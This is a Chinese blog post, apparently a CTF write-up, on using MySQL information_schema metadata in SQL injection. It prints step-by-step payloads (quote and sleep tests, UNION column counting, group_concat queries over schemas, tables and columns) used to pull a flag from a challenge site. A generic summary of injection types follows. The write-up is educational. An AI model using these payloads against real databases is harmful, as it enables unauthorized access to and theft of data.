从一道CTF题目看sql注入中元数据的应用

前言

第一次看到元数据在sql注入的应用好像是在《web安全深度剖析》,鉴于经验缺乏,只是知道有这么个东西,不知道怎么应用。今天遇到一道和元数据相关的SQL注入题目,所以记录下来。

获取元数据

//获取所有的库名称:
select SCHEMA_NAME from information_schema.SCHEMATA
//获取某一库中所有表的名称:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此处为库名'
//获取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此处为表名'

题目分析

题目地址:http://120.24.86.145:8002/chengjidan/

第一步测试

出于习惯,在输入框提交以下信息:

’(单引号) —无反应

1-3 三个数字 —显示三个人的成绩

1' and sleep(3) -- s —延时返回,结果与只输入1相同(这里引号应该闭合成功了,and sleep(3) 可替换为其他合法语句)

' or 1=1 -- s—与只输入1相同(这里猜测其实查询出了多条记录,但是页面只显示第一条)

' or 1=1 order by id DESC -- s —与只输入3相同(到这里可以大概判断出:该表中共有3条记录,且页面只显示每次查询的第一条记录,与上面的猜测吻合)

进一步猜测查询语句结构

为了方便后续使用union查询,我们需要进一步判断当前查询语句查询了几个字段。

1' union select 1,2,3 -- s
1' union select 1,2,3,4 -- s
1' union select 1,2,3,4,5 -- s

执行上述语句后只有第二个正常返回结果,所以查询语句应该查询了4个字段。

寻找flag在数据库中的位置


这里就是用到元数据的地方了。其实根据上面的测试,我们已经找到了能够执行语句的地方。

-1' (此处填写合法语句) -- s //这里-1是因为想让他查不出任何记录,这样第一条记录才会是我想要的记录。

首先查询数据库:SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
构造如下语句:-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s (group_concat为了使得多个记录显示在一起)。
可查询出flag所在数据库:skctf_flag

再查询skctf_flag中有哪些表:
-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s
可知flag应该在fl4g表中。

再查询表中列:-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s
列为skctf_flag。

最后查询flag:-1' union select 1,2,3,(select skctf_flag from fl4g) -- s

结束。

CTFSQL注入是一种常见的攻击类型,通常是通过构造恶意输入来绕过应用程序的安全控制,从而访问或篡改应用程序的数据。 以下是一些SQL注入题目的解法: 1. 基于错误的注入:这种类型的注入通常涉及到将错误的输入发送到应用程序,然后观察应用程序返回的错误消息。通过分析错误消息,攻击者可以获得关于数据库的有用信息。例如,攻击者可以尝试通过发送 '和1=2' 的输入来触发一个错误消息。如果返回了一个错误消息,那么攻击者就会知道这个输入是有效的。 2. 基于时间的注入:这种类型的注入利用了数据库查询的延迟响应时间。攻击者可以在输入添加一些额外的SQL语句,这些语句会导致查询的执行时间变长。通过观察查询的响应时间,攻击者可以获得关于数据库的有用信息。 3. 盲注入:这种类型的注入通常是在攻击者无法看到应用程序返回的响应消息时使用的。攻击者可以尝试发送不同类型的输入来推断数据库的数据。例如,攻击者可以尝试使用布尔逻辑来确定某个字段是否存在数据。 4. 堆叠注入:这种类型的注入涉及到在单个输入添加多个SQL语句。攻击者可以利用这些语句来执行多个操作,例如创建新用户、修改密码等。 5. 直接注入:这种类型的注入涉及到直接在SQL查询插入恶意代码。攻击者可以利用这些代码来执行任意操作,例如删除数据库的数据、修改数据库的数据等。 以上是一些常见的SQL注入题目解法,但是在实际的CTF比赛,攻击者需要具备较强的技术水平和经验才能成功地解决这些问。因此,对于CTF选手而言,不断学习和实践是非常重要的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值